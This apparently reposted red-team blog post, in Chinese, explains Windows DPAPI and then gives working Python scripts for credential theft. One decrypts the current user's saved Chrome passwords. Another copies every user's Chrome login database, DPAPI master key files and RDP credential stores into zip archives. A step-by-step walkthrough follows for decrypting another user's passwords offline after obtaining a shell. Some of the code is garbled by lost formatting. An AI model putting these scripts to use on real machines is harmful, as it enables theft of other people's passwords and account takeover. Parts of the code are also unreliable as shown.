前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >获取当前系统所有用户的谷歌浏览器密码

获取当前系统所有用户的谷歌浏览器密码

作者头像
Ms08067安全实验室
发布2019-09-24 15:49:04
2.8K0
发布2019-09-24 15:49:04
举报
文章被收录于专栏:Ms08067安全实验室

本文作者:ske(Ms08067红队小组成员)

0x01. 知识简介

1. DPAPI:

全称Data Protection Application Programming Interface

Windows系统的一个数据保护接口

主要用于保护加密的数据,常见的应用如:

代码语言:javascript
复制
Internet Explorer,Google Chrome中的密码和表单
存储无线连接密码
远程桌面连接密码
Outlook,Windows Mail,Windows Mail等中的电子邮件帐户密码
内部FTP管理员帐户密码
共享文件夹和资源访问密码
Windows Credential Manager
Skype
Windows CardSpace
Windows Vault
EFS文件加密

2. DPAPI blob:

一段密文,可使用Master Key对其解密

3. Master Key:

64字节,用于解密DPAPI blob,使用用户登录密码、SID和16字节随机数加密后保存在Master Key file中

4. Master Key file:

a. 二进制文件,可使用用户登录密码对其解密,获得Master Key

b. 分为两种:

代码语言:javascript
复制
用户Master Key file,位于%APPDATA%\Microsoft\Protect\%SID%   存储用户的登陆密码
系统Master Key file,位于%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User   存储wifi等各种密码

c. 固定位置:

%APPDATA%\Microsoft\Protect\%SID%,该目录下往往有多个Master Key file,这是为了安全起见,系统每隔90天会自动生成一个新的Master Key(旧的不会删除)

5. Preferred文件:

位于Master Key file的同级目录,显示当前系统正在使用的MasterKey及其过期时间,默认90天有效期

0x02 在线解密当前用户google浏览器下保存的密码

代码语言:javascript
复制
# 在线获取当前用户google浏览器下保存的密码
import os, sys
import shutil
import sqlite3
import win32crypt

db_file_path = os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Login Data')
print(db_file_path)

# tmp_file = os.path.join(os.path.dirname(sys.executable), 'tmp_tmp_tmp')
tmp_file = './loginData'
print(tmp_file)
if os.path.exists(tmp_file):
    os.remove(tmp_file)
shutil.copyfile(db_file_path, tmp_file)

conn = sqlite3.connect(tmp_file)
for row in conn.execute('select signon_realm,username_value,password_value from logins'):
    try:
        ret = win32crypt.CryptUnprotectData(row[2], None, None, None, 0)
        print('url:%-50s username:%-20s password:%s' % (row[0], row[1], ret[1].decode('gbk')))
    except Exception as e:
        print('url:%-50s get Chrome password Filed...' % row[0])
        pass
conn.close()
os.remove(tmp_file)

0x03. 离线导出当前系统下另一用户的Chrome密码

使用工具Windows Password Recovery

解密需要获得三部分内容:

  • 加密密钥(即Master Key file),位于%appdata%\Microsoft\Protect下对应sid文件夹下的文件
  • 数据库文件Login Data
  • 用户明文的密码,用于解密加密密钥

环境模拟:

环境:一台windows10机器,里面装有谷歌浏览器,用户有administrator和test等等其他用户

目的:当我们拿到shell后,当前用户是administrator,我们想要获取test等其他用户在当前系统保存的谷歌浏览器密码。

前提条件:需要知道test账户的明文密码,可以通过导注册表方法获取test的明文密码

工具:py编译后的exe工具

filepack.exe执行后会获取 1. 所有用户谷歌浏览器的Login Data文件 2. 获取所有用户的master key file 3. 获取所有用户的rdp保存凭证(该文件用来破解RDP,此处无用)

如下图是filepack.exe执行的结果,会在当前目录生成三个压缩文件

goole.zip是所有用户谷歌浏览器的Login Data压缩包 protect.zip是所有用户的master key file压缩包 rdp.zip是所有用户的rdp保存凭证压缩包

```

filepack源码

获取目标服务器的重要文件

-- coding:utf-8 --

import os import shutil import sqlite3 import win32crypt

users_dir = os.environ['userprofile'].rsplit('\', 1)[0] # 获取users目录的路径

def searchlogindata(path, name): for root, dirs, files in os.walk(path): if name in files: root = str(root) logindatapath = root + '\' + name return logindatapath

获取所有用户的谷歌的Login Data文件

def logindata(): print('-' * 50 + '\n' + r'[2] Get all users Google login data files:') name = 'Login Data' for username in os.listdir(usersdir): Googledir = usersdir + '\' + username + r'\AppData\Local\Google' logindatapath = searchlogindata(Googledir, name) if logindatapath: try: os.makedirs('./google') except Exception as e: pass dst = './google/{}logindata'.format(username) shutil.copyfile(logindatapath, dst) print('copy [{}] '.format(logindatapath)) logindatapath = ''

代码语言:javascript
复制
if os.path.isdir('google'):
    shutil.make_archive("./google", 'zip', root_dir='./google')
    print('[+] success! google.zip save to {}\pgoogle.zip'.format(os.getcwd()))
    shutil.rmtree('./google')

获取所有用户的master key file

def masterkey(): print('-' * 50 + '\n' + r'[3] Get the master key file for all users:') for username in os.listdir(usersdir): Protectdir = usersdir + '\' + username + r'\AppData\Roaming\Microsoft\Protect' if os.path.isdir(Protectdir): shutil.makearchive("./protect/{}protect".format(username), 'zip', rootdir=Protectdir) # 每个用户的protect压缩为usernameprotect.zip print('copy [{}]'.format(Protectdir))

代码语言:javascript
复制
if os.path.isdir('protect'):
    shutil.make_archive("./protect", 'zip', root_dir='./protect')
    print('[+] success! protect.zip save to {}\protect.zip'.format(os.getcwd()))
    shutil.rmtree('./protect')

获取所有用户的rdp保存凭证

def rdp(): print('-' * 50 + '\n' + r'[4] Get RDP save credentials for all users:') for username in os.listdir(usersdir): RDPdir = usersdir + '\' + username + r'\AppData\Local\Microsoft\Credentials' if os.path.isdir(RDPdir): shutil.makearchive("./rdp/{}rdp".format(username), 'zip', rootdir=RDPdir) print('copy [{}]'.format(RDPdir))

代码语言:javascript
复制
if os.path.isdir('./rdp'):
    shutil.make_archive("./rdp", 'zip', root_dir='./rdp')
    print(r'[+] success! rdp.zip save to {}\rdp.zip'.format(os.getcwd()))
    shutil.rmtree('./rdp')

logindata() masterkey() rdp() ```

readlogindata.exe用来读取谷歌浏览器的链接,用户名和密码(密码需要解密)。

获取当前系统所有用户谷歌浏览器的密码

-- coding:utf-8 --

import sqlite3 import sys import os

try: os.makedirs('./password') except Exception as e: pass

LoginDatafile = sys.argv[1] # Login Data文件名

conn = sqlite3.connect(LoginDatafile) cursor = conn.cursor() cursor.execute('SELECT actionurl, usernamevalue, passwordvalue FROM logins') for each in cursor.fetchall(): url, username, password = each print('[{}] [username:{}] [password:需要解密]'.format(url, username)) with open('./password/{}password.txt'.format(username), 'ab') as f1, open('./password/urluserpwd.txt', 'at') as f2: f1.write(each[2]) f2.writelines('url: {}\nusername: {}\npassword: \n{}\n'.format(url, username, '-'*50))

```

下图是保存所有用户谷歌浏览器的Login Data压缩包,login_data前缀是用户名,比如是administrator和test用户

下图是保存所有用户的master key file压缩包,protect前缀是用户名,比如是administrator和test和fskldfn用户

将压缩包解压后,使用readloigndata.exe去读取login data文件。

此处以test用户举例

此处是将test用户的谷歌浏览器内容读取出来。

因为不是当前用户,所以密码是密文需要解密。密文密码保存在当前目录的password目录下

_password.txt前缀是谷歌浏览器每个链接的用户名

urluserpwd.txt是谷歌浏览器所有保存的链接、账号、密码。

接下来使用wpr工具解密每个_password.txt,下载地址:

代码语言:javascript
复制
https://www.passcape.com/index.php?section=downloads&category=28

选择Utils -> DPAPI Decoder and Analyser -> Decrypt DPAPI data blob

设置DPAPI blob file指向上述步骤生成的test用户的txt文件,然后点击下一步

设置Master Key File 指向test用户的master key

选择是

输入test用户的明文,点击下一步,选择确定

成功读取到密码,该密码就是下面链接对应的密码。 url: http://192.168.1.3/DVWA-master/login.php username: admin password:

同理可以去读取root账号对应的密码!

来源:Ms08067安全实验室

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-05-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01. 知识简介
    • 1. DPAPI:
      • 2. DPAPI blob:
        • 3. Master Key:
          • 4. Master Key file:
            • 5. Preferred文件:
            • 0x02 在线解密当前用户google浏览器下保存的密码
            • 0x03. 离线导出当前系统下另一用户的Chrome密码
              • 环境模拟:
              • filepack源码
              • 获取目标服务器的重要文件
              • -- coding:utf-8 --
              • 获取所有用户的谷歌的Login Data文件
              • 获取所有用户的master key file
              • 获取所有用户的rdp保存凭证
              • 获取当前系统所有用户谷歌浏览器的密码
              • -- coding:utf-8 --
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档